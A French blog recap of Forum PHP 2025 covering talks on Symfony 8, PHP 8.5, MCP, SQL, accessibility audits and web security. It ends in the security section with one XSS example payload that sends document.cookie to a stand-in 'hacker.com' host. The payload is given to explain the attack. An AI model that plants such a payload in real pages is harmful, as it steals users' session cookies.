Accéder au contenu principal

29min.

30 ans de PHP au Forum PHP 2025, notre récap complet

2025 est une année anniversaire 🎂 pour notre écosystème, en effet PHP fête ses 30 ans d’existence et avec lui, l’AFUP ses 25 ans 👏 (sans oublier les 20 ans de Symfony et les 15 ans de API Platform).

Anniversaires

Le Forum PHP, messe annuelle des devs PHP, a donc été mis sous le signe de la fête et nous y étions en force pour célébrer, apprendre et partager.

Nous vous proposons, dans cet article, les éléments clés, les informations les plus marquantes de ces deux jours de conférence – comme si vous y étiez.

Section intitulée 20-ans-de-symfony-et-maintenant-la-version-820 ans de Symfony, et maintenant la version 8 !

Par Nicolas GREKAS

Au regret des plus anciens d’entre nous, cette conférence ne portait pas sur sfContext 😀 et l’installation du framework avec PEAR

Il faut dire que Symfony 1 et Symfony 2+ n’ont rien à voir – c’était vraiment une grosse rupture, et depuis Symfony n’a fait qu’évoluer sans se révolutionner. Une nouvelle version majeure de Symfony c’est donc plutôt vide car les features sont déjà disponibles dans les mineures précédentes 🎉. Symfony 8 ne démord pas à la règle, et contiendra donc surtout de la suppression de code (+4k –39k LOC et 72 features retirées).

Les vraies nouveautés qui sortent donc fin novembre avec Symfony 8 sont :

  • PHP 8.4 minimum (pour bénéficier du parseur HTML5 et du Lazy Object natif) ;
  • Des typages de retour fort placés sur tous les composants ;
  • Une amélioration du cookie Remember Me (le FCQN de la classe User était leak dedans) ;
  • Usage du récent composant TypeInfo à la place de PropertyInfo Type ;
  • Suppression de la configuration sémantique ;
  • Suppression de la configuration XML pour les services, les bundles, et les routes.

Tout le reste est déjà disponible ou le sera en 7.4.

Nicolas a aussi présenté quelques-uns des grands jalons de l’évolution de Symfony 2+, les fameux « WOW » : l’arrivée de Flex, l’autowiring, le MakerBundle, API Platform, Symfony UX, AssetMapper, les outils de debug, support des variables d’environnement, Messenger, HttpClient, les intégrations avec les services SaaS, ObjectMapper, des attributs partouts, et Symfony AI… Le framework grandit chaque année en fonctionnalités et en maturité 💪

Cette présentation conforte notre opinion de robustesse, d’innovation et de qualité qui émane de Symfony et nous sommes fiers d’y apporter notre contribution parmi les 500 contributeurs uniques par an !

Section intitulée creer-un-serveur-mcp-avec-symfonyCréer un serveur MCP avec Symfony

Par Edouard COURTY

Édouard commence sa présentation avec une rétrospective très rapide sur l’évolution de l’IA. C’était en 1996 que Deepblue réussissait à vaincre le champion du monde d’échec, marquant la première victoire d’une machine sur l’esprit humain. Et pourtant ce n’est pas avant 2017 et le rapport “Attention is all you need”, pierre angulaire de la mouvance intelligence artificielle, publié par Google que nous avons enfin assisté à une véritable explosion de l’IA avec les sorties ensuite très rapide dans le temps de tous les modèles et outils que nous connaissons aujourd’hui.

L’IA aujourd’hui a encore des limites assez identifiables. Elle est très douée pour « réfléchir », restituer des connaissances et traiter des infos, mais pour ce qui est de réellement agir et effectuer des actions, il faut encore mettre la main à la pâte. Édouard nous donne l’exemple de demander à une IA de nous créer une playlist Spotify, elle peut conseiller des musiques mais pas les ajouter.

La question se pose donc : comment mettre des outils à disposition de l’IA pour enfin la rendre capable d’agir ?

Le Model Context Protocol (aka MCP, nous en parlions dans un précédent article) a justement été pensé pour permettre une communication entre IA et serveur, permettant à notre modèle de langage d’avoir accès à la panoplie d’outils installée sur notre serveur pour s’en servir afin de réaliser certaines tâches, le tout en JSON-RPC.

Le cycle de vie du MCP se découpe ainsi :

  • Initialisation : phase d’échange entre le client IA et le serveur ou ils s’échangent des infos sur leurs versions et capacités
  • Découverte : Énumération des outils présents sur le serveur afin de savoir de quoi on sera capable
  • Opération : appel d’outils, de ressources et de templates de prompts sur le serveurs pour effectuer les tâches

Pour l’implémentation dans Symfony, Édouard nous présente son bundle, le mcp-server-bundle, sur lequel il a commencé à travailler avant l’annonce de symfony/ai.

Ce bundle permet d’aider avec la gestion du transport, du fonctionnement serveur et ajoute une couche de DX sur tout le protocole pour le rendre simple d’accès. Il gère automatiquement la sérialisation et la validation du JSON et supporte nativement les clients IA traditionnels comme Copilot ou n8n

Pour nous présenter son bundle, Edouard a joué des vidéos d’applications de tchat automatiques avec une IA permettant à un utilisateur de passer une commande ou de modifier une adresse de livraison. Le tout, en langage naturel, comme si l’on discutait réellement à un agent humain. L’IA est capable d’accéder à la base de données et d’interagir avec, par le biais d’outils mis à sa disposition sur le serveur.

L’exemple est assez bluffant mais on se rend rapidement compte de certaines limites :

  • La qualité / sécurité des données ne sont pas du tout assurées puisqu’elles viennent directement des utilisateurs ;
  • L’IA doit choisir le bon outil à sa disposition pour la demande de l’utilisateur, au risque d’effectuer des opérations non désirées ;
  • Si on définit trop d’outils, notre modèle peut tout simplement se perdre dans lesquels utiliser ;
  • Comme on parle de LLM, forcément il reste un risque d’hallucinations pouvant mener à des scénarios incohérents.

Une potentielle solution à certaines de ces limites serait d’avoir un second agent qui surveille la conversation du 1er avec l’utilisateur pour vérifier la cohérence de l’échange.

Enfin, Édouard nous explique que le MCP est très neuf, et qu’il est en évolution constante. Le transport utilisé à souvent changé même s’il semble être parti pour rester sur de l’HTTP désormais, mais le reste des specs change constamment et l’adoption reste en cours.

Clin d’œil à symfony/ai sorti depuis qui peut remplacer le bundle d’Édouard, et qui grâce à son backing deviendra sûrement la référence pour l’IA dans notre écosystème de toute manière.

Section intitulée what-s-new-in-php-8–5What’s New in PHP 8.5

Par Derick RETHANS

Le créateur de XDebug était sur scène pour présenter les nouveautés de PHP 8.5.

Une des plus importantes est le pipe operator (opérateur de chaîne). Il permet de chaîner des appels de fonction, ou chaque appel fonction passe son retour à la fonction suivante comme l’opérateur | dans votre shell.

Avant :

$input = ' Some kind of string. ';

$temp = trim($input);
$temp = str_replace(' ', '-', $temp);
$temp = str_replace(['.', '/', '…'], '', $temp);

$output = strtolower($temp);

Après :

$output = $input 
    |> trim(...)
    |> (fn (string $string) => str_replace(' ', '-', $string))
    |> (fn (string $string) => str_replace(['.', '/', '…'], '', $string))
    |> strtolower(...);

Seul défaut pour l’instant (et qui a été découvert tard donc attention, beaucoup de tutoriels sont faux !) : les fonctions anonymes doivent être entourées de parenthèses – cela pourra changer en PHP 8.6.

Pour débugger des fonctions chaînées, il n’y a pas de difficulté : XDebug passe bien à chaque step et montre la « valeur intermédiaire » qui est transmise.

Dans les autres nouveautées – nous retenons en particulier le nouveau « clone with » qui va permettre de cloner « avec des valeurs » des objets même readonly (les DTO typiquement) proprement :

public function withStatus($code, $reasonPhrase = ''): Response {
        return clone($this, [
            "statusCode" => $code,
            "reasonPhrase" => $reasonPhrase,
        ]);
    }

Cette fonction va bien faire appel à __clone, et utilise bien les property hooks, tout en ignorant le readonly.

Derick nous a aussi parlé de parse_url() en mettant l’emoji “💩” dans ses slides 😂 : en effet cette fonction a plein de soucis notamment parce qu’elle n’est basée sur aucun standard.

PHP 8.5 introduit deux nouveaux objets avec leurs méthodes réciproques : Uri\WhatWg\Url::parse() et Uri\Rfc3986\Url::parse(), pour répondre à ce besoin de rigueur dans l’analyse d’URL. En plus de la lecture, des setters permettent d’éditer les URL’s.

Côté attribut, nous retenons le nouveau #[NoDiscard]. Il est un peu tendancieux car il a introduit quelques cas particuliers mais l’intention est bonne : c’est pour forcer le moteur à vérifier que le retour d’une fonction est utilisé. Par exemple pour se protéger de ce genre d’erreur, où le retour de setDate n’est pas utilisé (ce qui est probablement une erreur !) :

$a = new \DateTimeImmutable()
$a->setDate(2025, 5, 4); // Va provoquer un warning

Pour finir, il a parlé d’emoji 🫡 et nous validons ! En PHP 8.4, il y a eu grapheme_str_split qui comprend les groupes de code-points Unicode correctement. PHP 8.5 y ajoute grapheme_levenshtein() pour calculer la distance entre deux chaînes complexes.

Section intitulée comment-etre-un-e-bon-ne-dev-a-l-heure-des-ia-generativesComment être un·e bon·ne dév à l’heure des IA génératives ?

Par Xavier LEUNE

Xavier a pris le temps de nous parler de la bulle des IA génératives et de l’impact qu’elle a sur nos emplois.

Dans notre métier, la seule constante, c’est qu’il évolue tout le temps.

Xavier LEUNE

Depuis fin 2022, nous constatons une grosse baisse du nombre de jeunes devs aux USA : est-ce à cause de la sortie de ChatGPT ? Pas forcément ! D’après JetBrains, le nombre de dev dans le monde ne fait que croître tous les ans depuis 2019, et pas de ralentissement à l’horizon. StackOverflow par contre constate avoir perdu énormément d’utilisateurs.

Différentes études de mesure de productivité se sont penchées sur le cas des LLMs, résultats : de –19% à + 56% ! 📊 Mais les méthodes de mesure sont-elles fiables ?

Pour autant, la méfiance dans les LLM reste importante, car ils sont non déterministes par nature. Nous les utilisons de plus en plus, tout en nous en méfiant !

Son REX 🦖 de CTO :

  • Il remarque une amélioration de la qualité des PR depuis la mise en place des reviews par l’IA : les devs s’attendent à une review hyper carrée donc sont beaucoup plus attentifs au code qu’ils pushent ;
  • C’est un accélérateur pour les juniors : ils ont moins besoin de documentation ;
  • Il faut responsabiliser sur le code qui est déployé.

Il conclut avec cet adage :

Le code devient gratuit. Il n’a donc plus de valeurs. Intéressez vous au business.

Section intitulée l-evaluation-des-ias-la-recette-secrete-des-agents-pas-trop-betesL’évaluation des IAs : la recette secrète des agents pas trop bêtes

Par François ZANINOTTO

Dans une salle comble, François nous a présenté sa procédure pour utiliser des LLM applicatifs sans se tirer une balle dans le pied – en effet les LLM peuvent halluciner et baser son produit sur une technologie qui ne serait pas fiable est dangereux.

François au Forum PHP

Les agents IA actuels ne sont pas des programmes comme les autres : ils sont pilotés, non pas par des instructions de code, mais par une interprétation d’instructions textuelles. Le résultat d’un agent est par nature imprévisible. Et on ne peut pas garantir qu’il sera toujours dans le vrai. Nous pouvons cependant faire une comparaison afin de trouver le meilleur agent (model) pour nos besoin, puis le fine-tuner.

Cela passe par l’évaluation et des benchmarks complets : concrètement un brut force de tous les modèles, LLM, températures, taille… possible pour trouver le moins « bête ». Et pour évaluer ces centaines de résultats, on utilise un autre agent de test, à qui on a donné un maximum de données de test (faites par des humains) et d’instructions sur les métriques de qualité à employer.

Ces métriques sont bien sûr la justesse, mais aussi le format de sortie, la rapidité, le prix…

Les Pro-Tips de François sont :

  • utiliser des outils comme DeepEval, Ragas et LangSmith ;
  • stocker tous les résultats dans une base de données pour y revenir plus tard, faire des statistiques… ;
  • d’inclure des données de production dans le jeu de test ;
  • de commencer avec le meilleur modèle (le plus cher) et d’affiner ensuite.

Enfin, sachez qu’une application à base d’agent va forcément se planter à un moment.

Section intitulée php-sans-php-creez-des-binaires-autonomes-de-votre-codePHP, sans PHP : créez des binaires autonomes de votre code

Par Jean-François LÉPINE

Jean-François nous a expliqué comment il était possible de faire tourner un projet PHP partout, sans devoir installer ni dépendances ni PHP lui-même, ou encore sans avoir à builder des conteneurs Docker.

Depuis toujours, PHP fonctionne à base de SAPI (Server Application Programming Interface) qui est en fait une couche tampon entre le Zend engine (le moteur interne de PHP) et le monde extérieur (le terminal, le web, etc). Il en existe plusieurs, les plus connus étant probablement celles-ci :

  • Terminal :
    • cli
    • phpdbg
  • Serveur :
    • cgi
    • apache pour le mod_php
    • fpm-cgi

Jean-François qui montre les différentes SAPI PHP

Mais il en existe une autre, qui va nous particulièrement nous intéresser ici : la SAPI embed. Elle permet d’embarquer le moteur PHP dans un programme (par exemple écrit en C ou en Go).

Pour parvenir à faire tourner son programme PHP dans n’importe quel environnement, Jean-François nous a présenté les projets static-php-cli (aka SPC) et phpmicro.sfx.

Voici, dans les grandes lignes, les étapes pour créer son propre binaire avec PHP inclus dedans :

  • créer une archive .phar contenant le code source du projet et les dépendances (box est le must-have ici) ;
  • télécharger SPC ;
  • installer les dépendances de SPC, le code source de PHP et des extensions PHP désirées (on note au passage la commande pour corriger les dépendances manquantes avec spc doctor –auto-fix ) ;
  • éventuellement installer upx pour optimiser le binaire final ;
  • puis enfin vient la commande spc pour build le binaire pour la plateforme et l’architecture de notre choix (Linux, Mac, Windows en version Arm ou Amd).

Pour simplifier encore plus toute cette procédure, le conférencier nous fait découvrir le package phpacker/phpacker, qu’il n’a pas pu tester lui-même, mais qui permettrait notamment de faire de toute les étapes de SPC, ainsi que build les binaires pour toutes les architectures supportées, le tout en une seule commande.

Pour conclure, Jean-François nous rappel que le PHP qui tourne dans le binaire est un vrai PHP, mais qui possède toutefois quelques contraintes :

  • le FFI n’est pas supporté ;
  • la taille du binaire est limitée ;
  • un peu moins rapide qu’un PHP qui tournerait directement sur le système.

Ce setup est néanmoins totalement adapté pour distribuer tout ce qui est outillage. Il a d’ailleurs plusieurs fois cité Castor comme parfait exemple de binaire statique ✨. Si l’on souhaite en revanche packager une application web, Jean-François précise qu’il vaut mieux ne pas s’embêter et plutôt utiliser FrankenPHP qui permet justement ceci.

Section intitulée sql-vs-les-prejugesSQL vs Les Préjugés

Par Lætitia AVROT

C’est habillée en avocate que Lætitia Avrot nous accueille : nous voici jurés, et nous allons assister à une plaidoirie en faveur de SQL !

Mais quelles sont les accusations ? Eh bien, SQL est accusé de lenteur, de complexité, de verbosité, de ne pas être moderne – on le prétend dépassé par les ORM et le NoSql –, ses performances seraient douteuses, il est accusé de ne pas scaler, d’être coûteux… La liste est longue !

Lætitia va, tout au long de ce plaidoyer, nous présenter différentes situations où le SQL pur vient contrecarrer ces accusations – prétexte parfait donc pour nous présenter des fonctionnalités peu connues et très puissantes.

Dans le premier exemple, il s’agit d’une situation banale : l’utilisateur souhaite mettre à jour le prix de tous les produits d’une table : ce prix augmente de 0.05%. Il va donc faire un foreach, avec une requête d’UPDATE à chaque tour de boucle…

En SQL pur, une seule ligne suffit :

UPDATE products SET price = price * 1.05;

Dans un autre exemple, qui traite des sous-requêtes, nous voyons que, effectivement, celles-ci sont souvent difficiles à lire – car l’ordre des instructions est peu naturel – et donc difficiles à maintenir.

En utilisant WITH, nous pouvons créer une CTE, c’est-à-dire une vue temporaire nommée. Il s’agit d’une sorte de table qui n’existe que le temps de cette requête et qui contient des données déjà filtrées. Ainsi il est possible de requêter dessus de manière plus naturelle.

WITH cte_name AS (
    SELECT ...
    FROM ...
    WHERE ...
),
SELECT ...
FROM cte_name
WHERE ...

Nous pouvons même créer une CTE à partir d’une autre CTE :

WITH cte_1_name (column1, column2, ...) AS ( - - Spécifier des colonnes n’est pas obligatoire
    SELECT ...
    FROM ...
    WHERE ...
),
cte_2_name (columA, columnB, …) AS (
    SELECT ...
    FROM cte_1_name
    WHERE ...
)
SELECT ...
FROM cte_2_name
WHERE ...

Troisième exemple : récupérer l’ensemble des données que l’on vient d’insérer. En PHP traditionnel, trois requêtes sont nécessaires : une pour insérer les données, une deuxième pour récupérer le dernier ID inséré avec $pdo->lastInsertId(); et enfin une troisième pour faire un SELECT sur l’id récupéré. Eh bien saviez-vous que nous pouvons faire tout celà en une seule requête SQL ?

insert into order (column_1, column_2, ...)
values (12345, 67890, ...)
returning column_1, column_3, ...

Et cela fonctionne aussi avec UPDATE et DELETE ! Notez que cette fonction n’est pas dans la norme ISO SQL, bien que adoptée par de nombreux SGBD.

Que diriez-vous de mélanger ce que nous venons d’apprendre ? En une seule requête vous pouvez supprimer toutes les données d’une table et les insérer dans une autre table :

WITH archived_products AS (
    DELETE FROM products
    WHERE discontinued
      AND stock = 0
    RETURNING *   
)
INSERT INTO products_archive
  (SELECT * FROM archived_products)
RETURNING id, name;

Dans un quatrième exemple, nous voyons les très utiles Window Functions, ou Fonctions de fenêtrage en français. Elles sont particulièrement utiles pour les classements par exemple, et qui évitent de faire en PHP une multitude de boucles.

La requête suivante nous donnera les produits les plus vendus par catégorie :

SELECT category_id,
      name,
      sales,
      row_number() OVER (
          PARTITION BY category_id
          ORDER BY sales DESC, id
      ) AS rank
  FROM product

Info

Si vous utilisez row_number(), ajoutez toujours un ORDER BY.

Lors de l’utilisation des Window Functions, vous pouvez utiliser un certain type de fonctions qui ne s’utilisent que dans ce contexte, telles que LAG() ou LEAD() qui permettent de récupérer une valeur de la ligne précédente ou de la ligne suivante. Cela peut être très utile pour calculer un cumul sur des critères bien précis par exemple.

D’autres exemples sont disponibles dans les slides, nous vous invitons à y jeter un œil !

Nous nous attaquons enfin au fameux problème des N+1 requêtes. C’est une erreur que font souvent les ORM si nous les utilisons mal ! Il s’agit de récupérer plein d’éléments puis d’effectuer une requête par élément – d’où le nom N+1 : N éléments + 1 requête globale.

Ici, c’est l’instruction LATERAL qui nous sauve :

SELECT c.id,
  c.name,
  o.order_number,    
  o.total_amount,    
  o.created_at    
FROM customers c     -- La fameuse requête +1
LEFT JOIN LATERAL (    -- Les N requêtes
  SELECT order_number, total_amount, created_at
  FROM orders
  WHERE customer_id = c.id
  ORDER BY total_amount DESC
  LIMIT 3
) o ON true;

Ici LATERAL signifie « Pour chaque client sélectionnée, joue moi telle requête ». Ici encore, d’autres exemples sont disponibles dans les slides.

Après avoir démontré que SQL sait tout à fait faire preuve de performance, d’élégance, de modernité, d’efficacité et de simplicité, on remarque que le problème est que SQL a mauvaise réputation et a bien évolué, mais pas notre manière de l’utiliser. Alors pourquoi ?

  • PHP est impératif : nous lui disons « fais ça, puis ça, puis ça » ;
  • SQL est déclaratif : nous lui disons plutôt « je veux ça ».

➡️ Et ce changement de paradigme peut faire peur.

Mais il est important de savoir que le SQL a ses forces, dans sa spécialité, tout comme PHP. Il faut savoir combiner les forces de différents langages pour exploiter au mieux leurs capacités, et grâce à ce talk c’est maintenant chose faite !

Lætitia nous recommande quelques sites pour nous exercer : Sqlnoir.com et Pgexercises.com car SQL est également un langage souvent mal appris.

Section intitulée et-si-le-futur-de-la-programmation-concurrentielle-avait-deja-50-ansEt si le futur de la programmation concurrentielle avait déjà 50 ans ?

Par Baptiste LANGLADE

Baptiste présente le modèle d’acteur (actor model en anglais) comme une solution au problème de la programmation concurrentielle, en s’appuyant sur l’exemple d’un crawler.

Pour lui, les solutions classiques basées sur une queue de messages et la parallélisation des consumers mènent rapidement à une complexité exponentielle :

  • il faut ajouter des verrous (Lock) pour respecter les règles de crawling (robots.txt, Crawl-delay, …) ;
  • il faut partitionner les queues (Sharding) pour améliorer le débit.

Le modèle d’acteur repose sur l’isolation :

  • un acteur traite de manière séquentielle une file de messages (sa mailbox) ;
  • chaque acteur peut créer d’autres acteurs et leur envoyer des messages ;
  • l’acteur est l’équivalent d’un consumer et la mailbox est l’équivalent d’une queue.

L’application au crawler : diviser pour mieux régner. L’acteur principal ne gère pas tout, il crée une hiérarchie :

  1. un acteur racine reçoit le premier message (URL) ;
  2. Il crée des acteurs enfants, par exemple un acteur par Top-Level Domain (TLD) (.org, .fr) ;
  3. Ces acteurs TLD peuvent créer des acteurs encore plus granulaires (ex: wikipedia.org, linuxfoundation.org).

L’acteur responsable de wikipedia.org possède sa propre file d’attente. Il peut traiter les messages (les URLs à crawler) séquentiellement, ce qui permet de respecter des contraintes comme le Crawl-delay sans aucun verrou externe.

Baptiste conclut en présentant un framework en cours de développement pour faciliter l’utilisation de ce modèle. Le code est à retrouver sur GitHub.

Section intitulée quatre-patterns-avances-pour-rendre-une-application-plus-resilienteQuatre patterns avancés pour rendre une application plus résiliente

Par Pascal MARTIN

Le matin, plusieurs développeurs arrivent en même temps à la machine à café ☕. Et forcément, c’est la file d’attente. À partir de cet exemple bien concret, Pascal a présenté quatre idées simples mais puissantes pour rendre une pauseapplication plus fluide… et éviter les goulots d’étranglement.

1. Préparer les cafés en avance

Autrement dit : générer les réponses avant qu’un utilisateur ne les demande, puis les mettre en cache. Sur un CMS, c’est souvent très simple à faire — et ça change tout pour la rapidité perçue.

2. Ne pas vider tous ses caches en même temps

Quand tous les caches expirent au même moment, l’application se retrouve à tout régénérer d’un coup. Mieux vaut étaler les expirations dans le temps (à noter : Symfony gère déjà ce comportement pour vous).

3. Espacer les retry de manière exponentielle

Si une requête échoue, on peut réessayer après 1 seconde, puis 2, 4, 8, 16, etc. Mais Pascal le rappelle : dans la plupart des cas, mieux vaut éviter les retry. Si ça n’a pas marché la première fois, il y a peu de chances que ça fonctionne à la deuxième.

4. Faire du sharding et de la réplication

Plutôt qu’une seule grosse machine à café pour tout le monde, installez-en plusieurs, plus petites, et répartissez les utilisateurs entre elles. Bonus : si un utilisateur casse systématiquement sa machine à café, les autres ne seront pas impactés.

5. Décaler légèrement les tâches planifiées

Enfin, évitez de lancer tous les cron à la même heure. Un petit décalage suffit à lisser la charge et à garder le système plus stable.

Section intitulée atteindre-la-qualite-d-une-spa-avec-htmx-et-twigAtteindre la qualité d’une SPA avec HTMX et Twig

Par Damien ALEXANDRE

Comme à Symfony Live début 2025, Damien a pu présenter les avantages d’HTMX par rapport à l’écriture d’applications lourdes à base de framework front.

Nous vous conseillons la lecture de notre article sur le sujet ainsi que les slides de Damien.

Damien a aussi eu le plaisir de parler du Minitel lors d’un lightning talk, ce side-project fera l’objet d’un prochain article !

Minitel

Section intitulée wannacry-les-dessous-d-un-ransomware-devastateurWannaCry : les dessous d’un ransomware dévastateur

Par Sonia SEDDIKI

Ce talk sortait un peu du lot puisque nous n’y parlions pas du tout de PHP – néanmoins nous raffolons de ce genre de retour d’expérience. Sonia est passée de dev back à infra, héritant ainsi de bugs en tous genre dont les autres équipes ne veulent jamais. Elle est passionnée de cyber-sécurité et nous invite à nous replonger avec elle dans une histoire survenue il y a quelques années : celle du malware WannaCry. Si vous n’êtes pas familiers avec ce logiciel malveillant, il s’agit d’un logiciel qui va chiffrer toutes les données de votre machine, et afficher une fenêtre très invasive qui vous demande de payer une rançon en échange du décryptage de vos données. On appelle aussi cela un ransomware.

Tout commence en mars 2017, alors qu’une faille critique apparaît sur un protocole réseau chez Microsoft. Assez rapidement, un patch de sécurité est distribué aux versions les plus utilisées de Windows. Malheureusement, 7% des PC dans le monde sont encore sous Windows XP, qui ne bénéficie pas du patch. Evidemment, ce qui devait arriver arriva et des centaines de milliers de PC furent infectés par WannaCry en 24h.

Alors comment réparer ça ? Il faut enquêter ! Pour Sonia, la sécu c’est comme le débug : nous partons d’un état final et nous remontons le fil, d’indice en indice, pour retrouver l’origine du bug.

Le logiciel Ghidra est un outil de reverse engineering qui permet de générer des instructions assembleur à partir du binaire du malware. Ces instructions assembleur sont ensuite traduites en C. Cela donne un code assez complexe et pas très clair, et donne peu d’indications sur ce que fait réellement le malware.

Sonia aime utiliser une autre méthode : les 7 différences ! Elle crée un simple fichier texte sur une VM, puis infecte cette VM avec le malware. Elle observe ensuite la structure du fichier ainsi infecté : headers, signature, contenu… Et les changements subis par le fichier avant et après.

Mais revenons au code. Nous y trouvons plein de choses : des fonctions de cryptage, des extensions, … et une url. En décortiquant ce code, ils découvrent un killswitch : si le logiciel parvient à se connecter à cette url, il se stop. Et le nom de domaine de cette url n’appartenant à personne, un chercheur l’a acheté ce qui a permis de stopper cette version du logiciel !

Concernant la façon dont tout est crypté, il s’agissait de chiffrement RSA. En théorie, il est impossible de récupérer la clé privée permettant de décrypter les données. Mais une piste était également d’utiliser d’analyser la RAM de l’ordinateur (processus plus connu sous le nom de Memory forensics) : il y a environ 40% de chances de récupérer quelque chose dans la RAM.

En conclusion, Sonia nous explique qu’il n’y a pas besoin de décrypter un malware à 100% pour le stopper, et utilise élégamment l’exemple de WannaCry pour nous faire découvrir un panel de méthodes utilisées en sécurité informatique.

Section intitulée a-slice-of-pie-revolutionising-php-extension-installation🥧 A slice of PIE: revolutionising PHP extension installation

Par James TITCUMB

James est le développeur de PIE, le PHP Installer for Extension (dont nous vous parlions précédemment ici). James au Forum PHP

Il a commencé par nous rappeler l’existant : PEAR et PECL (prononcé pickle 🥒) bien sûr ; et les objectifs de PIE : moderniser, améliorer la maintenance et la simplicité. La gestion des versions dans Composer est tellement plus avancée qu’il était aussi frustrant de ne pas l’avoir pour les extensions PHP : c’est maintenant du passé.

En octobre 2023, l’idée a été lancée, et la PHP Foundation a pris la main pour financer son développement. L’équipe de packagist & composer a proposé son support en particulier pour la partie registry, et depuis septembre, PECL est officiellement déprécié.

Nous retenons ces quelques points :

  • Il y a une différence entre nos dépendances d’extension dans composer : « ext-world », et cette commande d’installation « hello/world » – malheureusement il n’y pas encore de solution pour ça ;
  • publier une nouvelle extension PHP devient aussi simple que de la soumettre sur packagist ;
  • la roadmap promet encore quelques belles features :
    • pie upgrade pour mettre à jour ;
    • vérifications des dépendances du système ;
    • installer les dépendances avec APT, YUM…
    • avoir des extensions scopées au projet et non plus au système (mais nécessitera sûrement des changements dans PHP lui-même).

Section intitulée rgaa-auditons-nos-sites-php-pour-l-accessibiliteRGAA : auditons nos sites PHP pour l’accessibilité

Par Gilles Février

Par le passé, l’accessibilité n’était même pas un sujet. Heureusement, aujourd’hui, les handicaps etc ne sont plus invisibilisés. Peut-être parce que nous nous sommes rendu compte qu’ils touchaient beaucoup plus de monde que ce que nous pensions ?

C’est vrai que lorsque nous parlons de handicap, nous pensons d’abord aux handicaps physiques, qui se voient. Mais nous oublions souvent ceux qui échappent au regard. Il y a les handicaps invisibles : les dys-, les TDA(H) etc pour lesquels le web peut présenter une surcharge cognitive. Il y a également les handicaps temporaires, lorsqu’une personne se blesse par exemple, et enfin, les handicaps contextuels : une connexion lente, le soleil sur l’écran, la fatigue.

Des lois arrivent petit à petit, rendant le web de plus en plus accessible :

La mise en application de l’article 47 de la loi du 11 février 2005 sur l’égalité des chances stipule que tous les services en ligne de l’État ou de toute personne morale de droit public doivent être accessibles à tous.

Et c’est là qu’intervient le RGAA : il a pour objectif de fournir des règles identiques pour tous les acteurs du Web grâce à des critères complets. Son second objectif est de promouvoir et sensibiliser, afin que l’accessibilité revienne au premier plan. C’est un organisme gouvernemental français qui s’appuie sur les règles internationales définies par la WCAG.

Jusqu’en juin 2025, seuls les services publics et les grandes entreprises étaient concernées. Depuis, certains produits doivent également respecter ces règles : smartphones, tablettes, liseuses, terminaux en libre-service, etc.

Les sites concernés par l’obligation d’accessibilité sont contrôlés par l’Arcom. En cas de non-respect des règles, l’Arcom envoie un courrier à l’entreprise concernée qui a deux mois pour réparer les manquements. Après ces deux mois, elle sera mise en demeure.

Et pour éviter ces sanctions, une seule solution : l’audit !

Mais comment se déroule un audit d’accessibilité ?

1 – Définition d’un périmètre : Il faut d’abord identifier les acteurs : responsables, devs, designers, et utilisateurs ! Il est important de réunir les équipes afin que chacune puisse expliquer les choix qui ont mené au résultat actuel. C’est à ce moment-là qu’il faudra repérer les fonctionnalités clé de l’application.

Pour ce périmètre, il faudra également définir l’échantillonnage des pages à tester, notamment les pages obligatoires (accueil, contact) et les pages pertinentes (catégorie de niveau 1, page produit), les pages de processus (ajout au panier, tunnel de paiement). Mais il ne faudra pas oublier les documents téléchargeables, ou encore pages particulières (contenant du multimédia par exemple). Et à cela, il faudra ajouter 10% de pages aléatoires.

Attention, si le site existe dans plusieurs langues, cet audit doit être réalisé dans chaque langue ! Quelques pages sont en revanche exemptées, comme par exemple les très vieux documents.

Enfin, il faudra choisir des outils de travail : recommandations RGAA et WCAG, ainsi que des outils d’accessibilité.

2 – Réalisation de l’audit : Il y a en réalité deux audits : un automatique – rapide mais incomplet – et un manuel – bien plus lent, mais complet ! La réalisation de l’audit se déroule en quatre phases : La collecte des documents, ceux définis à l’étape 1 ; La navigation sur le site pour un examen visuel : les contrastes, les couleurs ; L’audit automatique, qui permet notamment de remonter les erreurs de code etc. Attention aux faux positifs ! Un bot peut voir une erreur qui est en fait gérée ailleurs de manière peu conventionnelle. D’où l’intérêt du dialogue entre les équipes. L’audit manuel : il y 106 critères à vérifier, qui demandent 2,5 tests en moyenne, soit 256 tests par page ! Cela permet ensuite de calculer un taux de conformité. Sous 50%, le site est non conforme. Au-dessus de 50%, il est partiellement conforme. Il n’est conforme qu’avec le taux de 100% 🏅.

3 – Presentation du rapport : il comporte un résumé, une liste des non conformités et des recommandations techniques, des pistes d’améliorations.

Une fois l’audit effectué, la déclaration de conformité est valable 3 ans. Mais attention, elle doit être refaite à chaque refonte du site, ou dans les 6 mois suivants la sortie de nouvelles recommandations RGAA !

C’est pourquoi il est important d’anticiper l’accessibilité, tout manquement devient vite très coûteux et chronophage à réparer par la suite. C’est une culture d’équipe ! Nous pouvons par exemple faire des ateliers pour examiner un critère ou une partie spécifique du site. Nous pouvons faire des reviews de code orientées accessibilité. Vous avez déjà essayé de naviguer sur votre site avec un lecteur d’écran vous ?

Quelques outils pour préparer un audit : les règles du RGAA, l’outil ARA, ou WAVE, les extensions Assistant RGAA et HeadingsMap, ou encore Wappalyzer.

👉 Et n’oublions pas que le RGAA ne doit pas être un obstacle de fin de projet mais une bonne pratique tout au long du développement.

Section intitulée les-bases-de-la-securite-des-developpements-webLes bases de la sécurité des développements Web

Par Amaury Bouchard

Amaury revient sur les principales vulnérabilités en développement Web et les bonnes pratiques pour s’en prémunir. Le fil rouge de sa présentation peut se résumer en une phrase : « Ne jamais faire confiance aux données entrantes ».

Il rappelle d’abord quelques chiffres importants comme le coût de la cybercriminalité en France, estimé à 100 milliards d’euros en 2024 ou encore le fait que 67% des entreprises françaises ont subi des attaques dans cette période.

Pour rester informé, il recommande certaines sources comme le site de l’OWASP qui met à jour son Top 10 des vulnérabilités tous les 4–5 ans, ou encore Mozilla pour la documentation sur la sécurité Web de manière générale et l’outil HTTP Observatory qui permet de scanner un site.

Le talk couvre quatre familles de vulnérabilités majeures :

1. Injection SQL

L’attaque consiste à envoyer des données utilisateurs qui modifient le comportement des requêtes SQL, via un champ de formulaire par exemple.

Recommandation : utiliser des requêtes préparées (prepare() / execute()) ou un ORM comme Doctrine.

2. Cross-Site Scripting (XSS)

L’objectif de l’attaquant est de réussir à insérer du code JavaScript malveillant dans une page Web consultée par un autre utilisateur (ex: via un commentaire). Le but est souvent de voler des informations (cookies d’authentification) ou de miner de la cryptomonnaie. L’attaque peut se faire via une balise <script> mais peut aussi être plus discrète en utilisant un attribut event comme onerror sur une balise <img> avec une source invalide :

<img src="x" onerror="fetch('https://hacker.com/?c=' + document.cookie)">

